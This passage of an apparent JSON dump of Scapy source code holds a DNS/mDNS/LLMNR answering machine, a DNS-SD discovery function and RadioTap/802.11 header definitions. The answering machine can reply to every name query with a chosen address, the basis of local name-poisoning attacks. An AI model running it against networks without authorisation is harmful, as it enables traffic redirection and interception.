is_request(self, req):\n        from scapy.layers.inet6 import IPv6\n        return (\n            req.haslayer(self.cls) and\n            req.getlayer(self.cls).qr == 0 and (\n                (\n                    self.from_ip6 is True or\n                    (self.from_ip6 and req[IPv6].src in self.from_ip6)\n                )\n                if IPv6 in req else\n                (\n                    self.from_ip is True or\n                    (self.from_ip and req[IP].src in self.from_ip)\n                )\n            )\n        )\n\n    def make_reply(self, req):\n        # Build reply from the request\n        resp = req.copy()\n        if Ether in req:\n            if self.mDNS:\n                resp[Ether].src, resp[Ether].dst = None, None\n            elif self.llmnr:\n                resp[Ether].src, resp[Ether].dst = None, req[Ether].src\n            else:\n                resp[Ether].src, resp[Ether].dst = (\n                    None if req[Ether].dst == \"ff:ff:ff:ff:ff:ff\" else req[Ether].dst,\n                    req[Ether].src,\n                )\n        from scapy.layers.inet6 import IPv6\n        if IPv6 in req:\n            resp[IPv6].underlayer.remove_payload()\n            if self.mDNS:\n                # \"All Multicast DNS responses (including responses sent via unicast)\n                # SHOULD be sent with IP TTL set to 255.\"\n                resp /= IPv6(dst=\"ff02::fb\", src=self.src_ip6,\n                             fl=req[IPv6].fl, hlim=255)\n            elif self.llmnr:\n                resp /= IPv6(dst=req[IPv6].src, src=self.src_ip6,\n                             fl=req[IPv6].fl, hlim=req[IPv6].hlim)\n            else:\n                resp /= IPv6(dst=req[IPv6].src, src=self.src_ip6 or req[IPv6].dst,\n                             fl=req[IPv6].fl, hlim=req[IPv6].hlim)\n        elif IP in req:\n            resp[IP].underlayer.remove_payload()\n            if self.mDNS:\n                # \"All Multicast DNS responses (including responses sent via unicast)\n                # SHOULD be sent with IP TTL set to 255.\"\n                resp /= IP(dst=\"224.0.0.251\", src=self.src_ip,\n                           id=req[IP].id, ttl=255)\n            elif self.llmnr:\n                resp /= IP(dst=req[IP].src, src=self.src_ip,\n                           id=req[IP].id, ttl=req[IP].ttl)\n            else:\n                resp /= IP(dst=req[IP].src, src=self.src_ip or req[IP].dst,\n                           id=req[IP].id, ttl=req[IP].ttl)\n        else:\n            warning(\"No IP or IPv6 layer in %s\", req.command())\n            return\n        try:\n            resp /= UDP(sport=req[UDP].dport, dport=req[UDP].sport)\n        except IndexError:\n            warning(\"No UDP layer in %s\", req.command(), exc_info=True)\n            return\n        try:\n            req = req[self.cls]\n        except IndexError:\n            warning(\n                \"No %s layer in %s\",\n                self.cls.__name__,\n                req.command(),\n                exc_info=True,\n            )\n            return\n        try:\n            queries = req.qd\n        except AttributeError:\n            warning(\"No qd attribute in %s\", req.command(), exc_info=True)\n            return\n        # Special case: alias 'ALL' query as 'A' + 'AAAA'\n        try:\n            allquery = next(\n                (x for x in queries if getattr(x, \"qtype\", None) == 255)\n            )\n            queries.remove(allquery)\n            queries.extend([\n                DNSQR(\n                    qtype=x,\n                    qname=allquery.qname,\n                    unicastresponse=allquery.unicastresponse,\n                    qclass=allquery.qclass,\n                )\n                for x in [1, 28]\n            ])\n        except StopIteration:\n            pass\n        # Process each query\n        ans = []\n        ars = []\n        for rq in queries:\n            if isinstance(rq, Raw):\n                warning(\"Cannot parse qd element %s\", rq.command(), exc_info=True)\n                continue\n            rqname = rq.qname.lower()\n            if rq.qtype in [1, 28]:\n                # A or AAAA\n                if rq.qtype == 28:\n                    # AAAA\n                    rdata = self.match[rqname][1]\n                    if rdata is None and not self.relay:\n                        # 'None' resolves to the default IPv6\n                        iface = resolve_iface(self.optsniff.get(\"iface\", conf.iface))\n                        if self.mDNS:\n                            # All IPs, as per mDNS.\n                            rdata = iface.ips[6]\n                        else:\n                            rdata = get_if_addr6(\n                                iface\n                            )\n                    if self.mDNS and rdata and IPv6 in resp:\n                        # For mDNS, we must replace the IPv6 src\n                        resp[IPv6].src = rdata\n                elif rq.qtype == 1:\n                    # A\n                    rdata = self.match[rqname][0]\n                    if rdata is None and not self.relay:\n                        # 'None' resolves to the default IPv4\n                        iface = resolve_iface(self.optsniff.get(\"iface\", conf.iface))\n                        if self.mDNS:\n                            # All IPs, as per mDNS.\n                            rdata = iface.ips[4]\n                        else:\n                            rdata = get_if_addr(\n                                iface\n                            )\n                    if self.mDNS and rdata and IP in resp:\n                        # For mDNS, we must replace the IP src\n                        resp[IP].src = rdata\n                if rdata:\n                    # Common A and AAAA\n                    if not isinstance(rdata, list):\n                        rdata = [rdata]\n                    ans.extend([\n                        DNSRR(\n                            rrname=rq.qname,\n                            ttl=self.ttl,\n                            rdata=x,\n                            type=rq.qtype,\n                            cacheflush=self.mDNS and rq.qtype == rq.qtype,\n                        )\n                        for x in rdata\n                    ])\n                    continue  # next\n            elif rq.qtype == 33:\n                # SRV\n                try:\n                    port, target = self.srvmatch[rqname]\n                    ans.append(DNSRRSRV(\n                        rrname=rq.qname,\n                        port=port,\n                        target=target,\n                        weight=100,\n                        ttl=self.ttl\n                    ))\n                    continue  # next\n                except KeyError:\n                    # No result\n                    pass\n            elif rq.qtype == 12:\n                # PTR\n                if rq.qname[-14:] == b\".in-addr.arpa.\" and self.jokerarpa:\n                    ans.append(DNSRR(\n                        rrname=rq.qname,\n                        type=rq.qtype,\n                        ttl=self.ttl,\n                        rdata=self.jokerarpa,\n                    ))\n                    continue\n            # It it arrives here, there is currently no answer\n            if self.relay:\n                # Relay mode ?\n                try:\n                    _rslv = dns_resolve(rq.qname, qtype=rq.qtype, raw=True)\n                    if _rslv:\n                        ans.extend(_rslv.an)\n                        ars.extend(_rslv.ar)\n                        continue  # next\n                except TimeoutError:\n                    pass\n            # Still no answer.\n            if self.mDNS:\n                # \"Any time a responder receives a query for a name for which it\n                # has verified exclusive ownership, for a type for which that name\n                # has no records, the responder MUST respond asserting the\n                # nonexistence of that record using a DNS NSEC record [RFC4034].\"\n                ans.append(DNSRRNSEC(\n                    # RFC6762 sect 6.1 - Negative Response\n                    ttl=self.ttl,\n                    rrname=rq.qname,\n                    nextname=rq.qname,\n                    typebitmaps=RRlist2bitmap([rq.qtype]),\n                ))\n        if self.mDNS and all(x.type == 47 for x in ans):\n            # If mDNS answers with only NSEC, discard.\n            return\n        if not ans:\n            # No answer is available.\n            if self.send_error:\n                resp /= self.cls(id=req.id, qr=1, qd=req.qd, rcode=3)\n                return resp\n            log_runtime.info(\"No answer could be provided to: %s\" % req.summary())\n            return\n        # Handle Additional Records\n        if self.mDNS:\n            # Windows specific extension\n            ars.append(DNSRROPT(\n                z=0x1194,\n                rdata=[\n                    EDNS0OWN(\n                        primary_mac=resp[Ether].src,\n                    ),\n                ],\n            ))\n        # All rq were answered\n        if self.mDNS:\n            # in mDNS mode, don't repeat the question, set aa=1, rd=0\n            dns = self.cls(id=req.id, aa=1, rd=0, qr=1, qd=[], ar=ars, an=ans)\n        else:\n            dns = self.cls(id=req.id, qr=1, qd=req.qd, ar=ars, an=ans)\n        # Compress DNS and mDNS\n        if not self.llmnr:\n            resp /= dns_compress(dns)\n        else:\n            resp /= dns\n        return resp\n\n\nclass mDNS_am(DNS_am):\n    \"\"\"\n    mDNS answering machine.\n\n    This has the same arguments as DNS_am. See help(DNS_am)\n\n    Example::\n\n        - Answer for 'TEST.local' with local IPv4::\n\n            >>> mdnsd(match=[\"TEST.local\"])\n\n        - Answer all requests with other IP::\n\n            >>> mdnsd(joker=\"192.168.0.2\", joker6=\"fe80::260:8ff:fe52:f9d8\",\n            ...       iface=\"eth0\")\n\n        - Answer for multiple different mDNS names::\n\n            >>> mdnsd(match={\"TEST.local\": \"192.168.0.100\",\n            ...              \"BOB.local\": \"192.168.0.101\"})\n\n        - Answer with both A and AAAA records::\n\n            >>> mdnsd(match={\"TEST.local\": (\"192.168.0.100\",\n            ...                             \"fe80::260:8ff:fe52:f9d8\")})\n    \"\"\"\n    function_name = \"mdnsd\"\n    filter = \"udp port 5353\"\n\n\n# DNS-SD (RFC 6763)\n\n\nclass DNSSDResult(SndRcvList):\n    def __init__(self,\n                 res=None,  # type: Optional[Union[_PacketList[QueryAnswer], List[QueryAnswer]]]  # noqa: E501\n                 name=\"DNS-SD\",  # type: str\n                 stats=None  # type: Optional[List[Type[Packet]]]\n                 ):\n        SndRcvList.__init__(self, res, name, stats)\n\n    def show(self, types=['PTR', 'SRV'], alltypes=False):\n        # type: (List[str], bool) -> None\n        \"\"\"\n        Print the list of discovered services.\n\n        :param types: types to show. Default ['PTR', 'SRV']\n        :param alltypes: show all types. Default False\n        \"\"\"\n        if alltypes:\n            types = None\n        data = list()  # type: List[Tuple[str | List[str], ...]]\n\n        resolve_mac = (\n            self.res and isinstance(self.res[0][1].underlayer, Ether) and\n            conf.manufdb\n        )\n\n        header = (\"IP\", \"Service\")\n        if resolve_mac:\n            header = (\"Mac\",) + header\n\n        for _, r in self.res:\n            attrs = []\n            for attr in itertools.chain(r[DNS].an, r[DNS].ar):\n                if types and dnstypes.get(attr.type) not in types:\n                    continue\n                if isinstance(attr, DNSRRNSEC):\n                    attrs.append(attr.sprintf(\"%type%=%nextname%\"))\n                elif isinstance(attr, DNSRRSRV):\n                    attrs.append(attr.sprintf(\"%type%=(%target%,%port%)\"))\n                else:\n                    attrs.append(attr.sprintf(\"%type%=%rdata%\"))\n            ans = (r.src, attrs)\n            if resolve_mac:\n                mac = conf.manufdb._resolve_MAC(r.underlayer.src)\n                data.append((mac,) + ans)\n            else:\n                data.append(ans)\n\n        print(\n            pretty_list(\n                data,\n                [header],\n            )\n        )\n\n\n@conf.commands.register\ndef dnssd(service=\"_services._dns-sd._udp.local\",\n          af=socket.AF_INET,\n          qtype=\"PTR\",\n          iface=None,\n          verbose=2,\n          timeout=3):\n    \"\"\"\n    Performs a DNS-SD (RFC6763) request\n\n    :param service: the service name to query (e.g. _spotify-connect._tcp.local)\n    :param af: the transport to use. socket.AF_INET or socket.AF_INET6\n    :param qtype: the type to use in the mDNS. Either TXT, PTR or SRV.\n    :param iface: the interface to do this discovery on.\n    \"\"\"\n    if af == socket.AF_INET:\n        pkt = IP(dst=ScopedIP(\"224.0.0.251\", iface), ttl=255)\n    elif af == socket.AF_INET6:\n        pkt = IPv6(dst=ScopedIP(\"ff02::fb\", iface))\n    else:\n        return\n    pkt /= UDP(sport=5353, dport=5353)\n    pkt /= DNS(rd=0, qd=[DNSQR(qname=service, qtype=qtype)])\n    ans, _ = sr(pkt, multi=True, timeout=timeout, verbose=verbose)\n    return DNSSDResult(ans.res)\n"
  },
  {
    "path": "scapy/layers/dot11.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nWireless LAN according to IEEE 802.11.\n\nThis file contains bindings for 802.11 layers and some usual linklayers:\n  - PRISM\n  - RadioTap\n\"\"\"\n\nimport re\nimport struct\nfrom zlib import crc32\n\nfrom scapy.config import conf, crypto_validator\nfrom scapy.data import ETHER_ANY, DLT_IEEE802_11, DLT_PRISM_HEADER, \\\n    DLT_IEEE802_11_RADIO\nfrom scapy.compat import raw, plain_str, orb, chb\nfrom scapy.packet import Packet, bind_layers, bind_top_down, NoPayload\nfrom scapy.fields import (\n    BitEnumField,\n    BitField,\n    BitMultiEnumField,\n    ByteEnumField,\n    ByteField,\n    ConditionalField,\n    FCSField,\n    FieldLenField,\n    FieldListField,\n    FlagsField,\n    IntField,\n    LEFieldLenField,\n    LEIntField,\n    LELongField,\n    LEShortEnumField,\n    LEShortField,\n    LESignedIntField,\n    MayEnd,\n    MultipleTypeField,\n    OUIField,\n    PacketField,\n    PacketListField,\n    ReversePadField,\n    ScalingField,\n    ShortField,\n    StrField,\n    StrFixedLenField,\n    StrLenField,\n    XByteField,\n    XStrFixedLenField,\n)\nfrom scapy.ansmachine import AnsweringMachine\nfrom scapy.plist import PacketList\nfrom scapy.layers.l2 import Ether, LLC, MACField\nfrom scapy.layers.inet import IP, TCP\nfrom scapy.error import warning, log_loading\nfrom scapy.sendrecv import sniff, sendp\n\n\nif conf.crypto_valid:\n    from cryptography.hazmat.backends import default_backend\n    from cryptography.hazmat.primitives.ciphers import Cipher, algorithms\n\n    try:\n        # cryptography > 43.0\n        from cryptography.hazmat.decrepit.ciphers import (\n            algorithms as decrepit_algorithms,\n        )\n    except ImportError:\n        decrepit_algorithms = algorithms\nelse:\n    default_backend = Ciphers = algorithms = decrepit_algorithms = None\n    log_loading.info(\"Can't import python-cryptography v2.0+. Disabled WEP decryption/encryption. (Dot11)\")  # noqa: E501\n\n\n#########\n# Prism #\n#########\n\n# http://www.martin.cc/linux/prism\n\nclass PrismHeader(Packet):\n    \"\"\" iwpriv wlan0 monitor 3 \"\"\"\n    name = \"Prism header\"\n    fields_desc = [LEIntField(\"msgcode\", 68),\n                   LEIntField(\"len\", 144),\n                   StrFixedLenField(\"dev\", \"\", 16),\n                   LEIntField(\"hosttime_did\", 0),\n                   LEShortField(\"hosttime_status\", 0),\n                   LEShortField(\"hosttime_len\", 0),\n                   LEIntField(\"hosttime\", 0),\n                   LEIntField(\"mactime_did\", 0),\n                   LEShortField(\"mactime_status\", 0),\n                   LEShortField(\"mactime_len\", 0),\n                   LEIntField(\"mactime\", 0),\n                   LEIntField(\"channel_did\", 0),\n                   LEShortField(\"channel_status\", 0),\n                   LEShortField(\"channel_len\", 0),\n                   LEIntField(\"channel\", 0),\n                   LEIntField(\"rssi_did\", 0),\n                   LEShortField(\"rssi_status\", 0),\n                   LEShortField(\"rssi_len\", 0),\n                   LEIntField(\"rssi\", 0),\n                   LEIntField(\"sq_did\", 0),\n                   LEShortField(\"sq_status\", 0),\n                   LEShortField(\"sq_len\", 0),\n                   LEIntField(\"sq\", 0),\n                   LEIntField(\"signal_did\", 0),\n                   LEShortField(\"signal_status\", 0),\n                   LEShortField(\"signal_len\", 0),\n                   LESignedIntField(\"signal\", 0),\n                   LEIntField(\"noise_did\", 0),\n                   LEShortField(\"noise_status\", 0),\n                   LEShortField(\"noise_len\", 0),\n                   LEIntField(\"noise\", 0),\n                   LEIntField(\"rate_did\", 0),\n                   LEShortField(\"rate_status\", 0),\n                   LEShortField(\"rate_len\", 0),\n                   LEIntField(\"rate\", 0),\n                   LEIntField(\"istx_did\", 0),\n                   LEShortField(\"istx_status\", 0),\n                   LEShortField(\"istx_len\", 0),\n                   LEIntField(\"istx\", 0),\n                   LEIntField(\"frmlen_did\", 0),\n                   LEShortField(\"frmlen_status\", 0),\n                   LEShortField(\"frmlen_len\", 0),\n                   LEIntField(\"frmlen\", 0),\n                   ]\n\n    def answers(self, other):\n        if isinstance(other, PrismHeader):\n            return self.payload.answers(other.payload)\n        else:\n            return self.payload.answers(other)\n\n############\n# RadioTap #\n############\n\n# https://www.radiotap.org/\n\n# Note: Radiotap alignment is crazy. See the doc:\n# https://www.radiotap.org/#alignment-in-radiotap\n\n# RadioTap constants\n\n\n_rt_present = ['TSFT', 'Flags', 'Rate', 'Channel', 'FHSS', 'dBm_AntSignal',\n               'dBm_AntNoise', 'Lock_Quality', 'TX_Attenuation',\n               'dB_TX_Attenuation', 'dBm_TX_Power', 'Antenna',\n               'dB_AntSignal', 'dB_AntNoise', 'RXFlags', 'TXFlags',\n               'b17', 'b18', 'ChannelPlus', 'MCS', 'A_MPDU',\n               'VHT', 'timestamp', 'HE', 'HE_MU', 'HE_MU_other_user',\n               'zero_length_psdu', 'L_SIG', 'TLV',\n               'RadiotapNS', 'VendorNS', 'Ext']\n\n# Note: Inconsistencies with wireshark\n# Wireshark ignores the suggested fields, whereas we implement some of them\n# (some are well-used even though not accepted)\n# However, flags that conflicts with Wireshark are not and MUST NOT be\n# implemented -> b17, b18\n\n_rt_flags = ['CFP', 'ShortPreamble', 'wep', 'fragment', 'FCS', 'pad',\n             'badFCS', 'ShortGI']\n\n_rt_channelflags = ['res1', 'res2', 'res3', 'res4', 'Turbo', 'CCK',\n                    'OFDM', '2GHz', '5GHz', 'Passive', 'Dynamic_CCK_OFDM',\n                    'GFSK', 'GSM', 'StaticTurbo', '10MHz', '5MHz']\n\n_rt_rxflags = [\"res1\", \"BAD_PLCP\", \"res2\"]\n\n_rt_txflags = [\"TX_FAIL\", \"CTS\", \"RTS\", \"NOACK\", \"NOSEQ\", \"ORDER\"]\n\n_rt_channelflags2 = ['res1', 'res2', 'res3', 'res4', 'Turbo', 'CCK',\n                     'OFDM', '2GHz', '5GHz', 'Passive', 'Dynamic_CCK_OFDM',\n                     'GFSK', 'GSM', 'StaticTurbo', '10MHz', '5MHz',\n                     '20MHz', '40MHz_ext_channel_above',\n                     '40MHz_ext_channel_below',\n                     'res5', 'res6', 'res7', 'res8', 'res9']\n\n_rt_tsflags = ['32-bit_counter', 'Accuracy', 'res1', 'res2', 'res3',\n               'res4', 'res5', 'res6']\n\n_rt_knownmcs = ['MCS_bandwidth', 'MCS_index', 'guard_interval', 'HT_format',\n                'FEC_type', 'STBC_streams', 'Ness', 'Ness_MSB']\n\n_rt_bandwidth = {0: \"20MHz\", 1: \"40MHz\", 2: \"ht40Mhz-\", 3: \"ht40MHz+\"}\n\n_rt_a_mpdu_flags = ['Report0Subframe', 'Is0Subframe', 'KnownLastSubframe',\n                    'LastSubframe', 'CRCerror', 'EOFsubframe', 'KnownEOF',\n                    'res1', 'res2', 'res3', 'res4', 'res5', 'res6', 'res7',\n                    'res8']\n\n_rt_vhtbandwidth = {\n    0: \"20MHz\", 1: \"40MHz\", 2: \"40MHz\", 3: \"40MHz\", 4: \"80MHz\", 5: \"80MHz\",\n    6: \"80MHz\", 7: \"80MHz\", 8: \"80MHz\", 9: \"80MHz\", 10: \"80MHz\", 11: \"160MHz\",\n    12: \"160MHz\", 13: \"160MHz\", 14: \"160MHz\", 15: \"160MHz\", 16: \"160MHz\",\n    17: \"160MHz\", 18: \"160MHz\", 19: \"160MHz\", 20: \"160MHz\", 21: \"160MHz\",\n    22: \"160MHz\", 23: \"160MHz\", 24: \"160MHz\", 25: \"160MHz\"\n}\n\n_rt_knownvht = ['STBC', 'TXOP_PS_NOT_ALLOWED', 'GuardInterval', 'SGINsysmDis',\n                'LDPCextraOFDM', 'Beamformed', 'Bandwidth', 'GroupID',\n                'PartialAID',\n                'res1', 'res2', 'res3', 'res4', 'res5', 'res6', 'res7']\n\n_rt_presentvht = ['STBC', 'TXOP_PS_NOT_ALLOWED', 'GuardInterval',\n                  'SGINsysmDis', 'LDPCextraOFDM', 'Beamformed',\n                  'res1', 'res2']\n\n_rt_hemuother_per_user_known = [\n    'user field position',\n    'STA-ID',\n    'NSTS',\n    'Tx Beamforming',\n    'Spatial Configuration',\n    'MCS',\n    'DCM',\n    'Coding',\n]\n\n\n# Radiotap utils\n\n# Note: extended presence masks are dissected pretty dumbly by\n# Wireshark.\n\ndef _next_radiotap_extpm(pkt, lst, cur, s):\n    \"\"\"Generates the next RadioTapExtendedPresenceMask\"\"\"\n    if cur is None or (cur.present and cur.present.Ext):\n        st = len(lst) + (cur is not None)\n        return lambda *args: RadioTapExtendedPresenceMask(*args, index=st)\n    return None\n\n\nclass RadioTapExtendedPresenceMask(Packet):\n    \"\"\"RadioTapExtendedPresenceMask should be instantiated by passing an\n    `index=` kwarg, stating which place the item has in the list.\n\n    Passing index will update the b[x] fields accordingly to the index.\n      e.g.\n       >>> a = RadioTapExtendedPresenceMask(present=\"b0+b12+b29+Ext\")\n       >>> b = RadioTapExtendedPresenceMask(index=1, present=\"b33+b45+b59+b62\")\n       >>> pkt = RadioTap(present=\"Ext\", Ext=[a, b])\n    \"\"\"\n    name = \"RadioTap Extended presence mask\"\n    fields_desc = [FlagsField('present', None, -32,\n                              [\"b%s\" % i for i in range(0, 31)] + [\"Ext\"])]\n\n    def __init__(self, _pkt=None, index=0, **kwargs):\n        self._restart_indentation(index)\n        Packet.__init__(self, _pkt, **kwargs)\n\n    def _restart_indentation(self, index):\n        st = index * 32\n        self.fields_desc[0].names = [\"b%s\" % (i + st) for i in range(0, 31)] + [\"Ext\"]  # noqa: E501\n\n    def guess_payload_class(self, pay):\n        return conf.padding_layer\n\n\n# This is still unimplemented in Wireshark\n# https://www.radiotap.org/fields/TLV.html\nclass RadioTapTLV(Packet):\n    fields_desc = [\n        LEShortEnumField(\"type\", 0, _rt_present),\n        LEShortField(\"length\", None),\n        ConditionalField(\n            OUIField(\"oui\", 0),\n            lambda pkt: pkt.type == 30  # VendorNS\n        ),\n        ConditionalField(\n            ByteField(\"subtype\", 0),\n            lambda pkt: pkt.type == 30\n        ),\n        ConditionalField(\n            LEShortField(\"presence_type\", 0),\n            lambda pkt: pkt.type == 30\n        ),\n        ConditionalField(\n            LEShortField(\"reserved\", 0),\n            lambda pkt: pkt.type == 30\n        ),\n        StrLenField(\"data\", b\"\",\n                    length_from=lambda pkt: pkt.length),\n        StrLenField(\"pad\", None, length_from=lambda pkt: -pkt.length % 4)\n    ]\n\n    def post_build(self, pkt, pay):\n        if self.length is None:\n            pkt = pkt[:2] + struct.pack(\"<H\", len(self.data)) + pkt[4:]\n        if self.pad is None:\n            pkt += b\"\\x00\" * (-len(self.data) % 4)\n        return pkt + pay\n\n    def extract_padding(self, s):\n        return \"\", s\n\n\n# RADIOTAP\n\nclass RadioTap(Packet):\n    name = \"RadioTap\"\n    deprecated_fields = {\n        \"Channel\": (\"ChannelFrequency\", \"2.4.3\"),\n        \"ChannelFlags2\": (\"ChannelPlusFlags\", \"2.4.3\"),\n        \"ChannelNumber\": (\"ChannelPlusNumber\", \"2.4.3\"),\n    }\n    fields_desc = [\n        ByteField('version', 0),\n        ByteField('pad', 0),\n        LEShortField('len', None),\n        FlagsField('present', None, -32, _rt_present),  # noqa: E501\n        # Extended presence mask\n        ConditionalField(PacketListField(\"Ext\", [], next_cls_cb=_next_radiotap_extpm), lambda pkt: pkt.present and pkt.present.Ext),  # noqa: E501\n        # RadioTap fields - each starts with a ReversePadField\n        # to handle padding\n\n        # TSFT\n        ConditionalField(\n            ReversePadField(\n                LELongField(\"mac_timestamp\", 0),\n                8\n            ),\n            lambda pkt: pkt.present and pkt.present.TSFT),\n        # Flags\n        ConditionalField(\n            FlagsField(\"Flags\", None, -8, _rt_flags),\n            lambda pkt: pkt.present and pkt.present.Flags),\n        # Rate\n        ConditionalField(\n            ScalingField(\"Rate\", 0, scaling=0.5,\n                         unit=\"Mbps\", fmt=\"B\"),\n            lambda pkt: pkt.present and pkt.present.Rate),\n        # Channel\n        ConditionalField(\n            ReversePadField(\n                LEShortField(\"ChannelFrequency\", 0),\n                2\n            ),\n            lambda pkt: pkt.present and pkt.present.Channel),\n        ConditionalField(\n            FlagsField(\"ChannelFlags\", None, -16, _rt_channelflags),\n            lambda pkt: pkt.present and pkt.present.Channel),\n        # dBm_AntSignal\n        ConditionalField(\n            ScalingField(\"dBm_AntSignal\", 0,\n                         unit=\"dBm\", fmt=\"b\"),\n            lambda pkt: pkt.present and pkt.present.dBm_AntSignal),\n        # dBm_AntNoise\n        ConditionalField(\n            ScalingField(\"dBm_AntNoise\", 0,\n                         unit=\"dBm\", fmt=\"b\"),\n            lambda pkt: pkt.present and pkt.present.dBm_AntNoise),\n        # Lock_Quality\n        ConditionalField(\n            ReversePadField(\n                LEShortField(\"Lock_Quality\", 0),\n                2\n            ),\n            lambda pkt: pkt.present and pkt.present.Lock_Quality),\n        # Antenna\n        ConditionalField(\n            ByteField(\"Antenna\", 0),\n            lambda pkt: pkt.present and pkt.present.Antenna),\n        # RX Flags\n        ConditionalField(\n            ReversePadField(\n                FlagsField(\"RXFlags\", None, -16, _rt_rxflags),\n                2\n            ),\n            lambda pkt: pkt.present and pkt.present.RXFlags),\n        # TX Flags\n        ConditionalField(\n            ReversePadField(\n                FlagsField(\"TXFlags\", None, -16, _rt_txflags),\n                2\n            ),\n            lambda pkt: pkt.present and pkt.present.TXFlags),\n        # ChannelPlus\n        ConditionalField(\n            ReversePadField(\n                FlagsField(\"ChannelPlusFlags\", None, -32, _rt_channelflags2),\n                4\n            ),\n            lambda pkt: pkt.present and pkt.present.ChannelPlus),\n        ConditionalField(\n            LEShortField(\"ChannelPlusFrequency\", 0),\n            lambda pkt: pkt.present and pkt.present.ChannelPlus),\n        ConditionalField(\n            ByteField(\"ChannelPlusNumber\", 0),\n            lambda pkt: pkt.present and pkt.present.ChannelPlus),\n        # MCS\n        ConditionalField(\n            ReversePadField(\n                FlagsField(\"knownMCS\", None, -8, _rt_knownmcs),\n                2\n            ),\n            lambda pkt: pkt.present and pkt.present.MCS),\n        ConditionalField(\n            BitField(\"Ness_LSB\", 0, 1),\n            lambda pkt: pkt.present and pkt.present.MCS),\n        ConditionalField(\n            BitField(\"STBC_streams\", 0, 2),\n            lambda pkt: pkt.present and pkt.present.MCS),\n        ConditionalField(\n            BitEnumField(\"FEC_type\", 0, 1, {0: \"BCC\", 1: \"LDPC\"}),\n            lambda pkt: pkt.present and pkt.present.MCS),\n        ConditionalField(\n            BitEnumField(\"HT_format\", 0, 1, {0: \"mixed\", 1: \"greenfield\"}),\n            lambda pkt: pkt.present and pkt.present.MCS),\n        ConditionalField(\n            BitEnumField(\"guard_interval\", 0, 1, {0: \"Long_GI\", 1: \"Short_GI\"}),  # noqa: E501\n            lambda pkt: pkt.present and pkt.present.MCS),\n        ConditionalField(\n            BitEnumField(\"MCS_bandwidth\", 0, 2, _rt_bandwidth),\n            lambda pkt: pkt.present and pkt.present.MCS),\n        ConditionalField(\n            ByteField(\"MCS_index\", 0),\n            lambda pkt: pkt.present and pkt.present.MCS),\n        # A_MPDU\n        ConditionalField(\n            ReversePadField(\n                LEIntField(\"A_MPDU_ref\", 0),\n                4\n            ),\n            lambda pkt: pkt.present and pkt.present.A_MPDU),\n        ConditionalField(\n            FlagsField(\"A_MPDU_flags\", None, -32, _rt_a_mpdu_flags),\n            lambda pkt: pkt.present and pkt.present.A_MPDU),\n        # VHT\n        ConditionalField(\n            ReversePadField(\n                FlagsField(\"KnownVHT\", None, -16, _rt_knownvht),\n                2\n            ),\n            lambda pkt: pkt.present and pkt.present.VHT),\n        ConditionalField(\n            FlagsField(\"PresentVHT\", None, -8, _rt_presentvht),\n            lambda pkt: pkt.present and pkt.present.VHT),\n        ConditionalField(\n            ByteEnumField(\"VHT_bandwidth\", 0, _rt_vhtbandwidth),\n            lambda pkt: pkt.present and pkt.present.VHT),\n        ConditionalField(\n            StrFixedLenField(\"mcs_nss\", 0, length=5),\n            lambda pkt: pkt.present and pkt.present.VHT),\n        ConditionalField(\n            ByteField(\"GroupID\", 0),\n            lambda pkt: pkt.present and pkt.present.VHT),\n        ConditionalField(\n            ShortField(\"PartialAID\", 0),\n            lambda pkt: pkt.present and pkt.present.VHT),\n        # timestamp\n        ConditionalField(\n            ReversePadField(\n                LELongField(\"timestamp\", 0),\n                8\n            ),\n            lambda pkt: pkt.present and pkt.present.timestamp),\n        ConditionalField(\n            LEShortField(\"ts_accuracy\", 0),\n            lambda pkt: pkt.present and pkt.present.timestamp),\n        ConditionalField(\n            BitEnumField(\"ts_unit\", 0, 4, {\n                0: 'milliseconds',\n                1: 'microseconds',\n                2: 'nanoseconds'}),\n            lambda pkt: pkt.present and pkt.present.timestamp),\n        ConditionalField(\n            BitField(\"ts_position\", 0, 4),\n            lambda pkt: pkt.present and pkt.present.timestamp),\n        ConditionalField(\n            FlagsField(\"ts_flags\", None, 8, _rt_tsflags),\n            lambda pkt: pkt.present and pkt.present.timestamp),\n        # HE - XXX not complete\n        ConditionalField(\n            ReversePadField(\n                LEShortField(\"he_data1\", 0),\n                2\n            ),\n            lambda pkt: pkt.present and pkt.present.HE),\n        ConditionalField(\n            LEShortField(\"he_data2\", 0),\n            lambda pkt: pkt.present and pkt.present.HE),\n        ConditionalField(\n            LEShortField(\"he_data3\", 0),\n            lambda pkt: pkt.present and pkt.present.HE),\n        ConditionalField(\n            LEShortField(\"he_data4\", 0),\n            lambda pkt: pkt.present and pkt.present.HE),\n        ConditionalField(\n            LEShortField(\"he_data5\", 0),\n            lambda pkt: pkt.present and pkt.present.HE),\n        ConditionalField(\n            LEShortField(\"he_data6\", 0),\n            lambda pkt: pkt.present and pkt.present.HE),\n        # HE_MU\n        ConditionalField(\n            ReversePadField(\n                LEShortField(\"hemu_flags1\", 0),\n                2\n            ),\n            lambda pkt: pkt.present and pkt.present.HE_MU),\n        ConditionalField(\n            LEShortField(\"hemu_flags2\", 0),\n            lambda pkt: pkt.present and pkt.present.HE_MU),\n        ConditionalField(\n            FieldListField(\"RU_channel1\", [], ByteField('', 0),\n                           length_from=lambda x: 4),\n            lambda pkt: pkt.present and pkt.present.HE_MU),\n        ConditionalField(\n            FieldListField(\"RU_channel2\", [], ByteField('', 0),\n                           length_from=lambda x: 4),\n            lambda pkt: pkt.present and pkt.present.HE_MU),\n        # HE_MU_other_user\n        ConditionalField(\n            ReversePadField(\n                LEShortField(\"hemuou_per_user_1\", 0x7fff),\n                2\n            ),\n            lambda pkt: pkt.present and pkt.present.HE_MU_other_user),\n        ConditionalField(\n            LEShortField(\"hemuou_per_user_2\", 0x003f),\n            lambda pkt: pkt.present and pkt.present.HE_MU_other_user),\n        ConditionalField(\n            ByteField(\"hemuou_per_user_position\", 0),\n            lambda pkt: pkt.present and pkt.present.HE_MU_other_user),\n        ConditionalField(\n            FlagsField(\"hemuou_per_user_known\", 0, -16,\n                       _rt_hemuother_per_user_known),\n            lambda pkt: pkt.present and pkt.present.HE_MU_other_user),\n        # L_SIG\n        ConditionalField(\n            ReversePadField(\n                FlagsField(\"lsig_data1\", 0, -16, [\"rate\", \"length\"]),\n                2\n            ),\n            lambda pkt: pkt.present and pkt.present.L_SIG),\n        ConditionalField(\n            BitField(\"lsig_length\", 0, 12, tot_size=-2),\n            lambda pkt: pkt.present and pkt.present.L_SIG),\n        ConditionalField(\n            BitField(\"lsig_rate\", 0, 4, end_tot_size=-2),\n            lambda pkt: pkt.present and 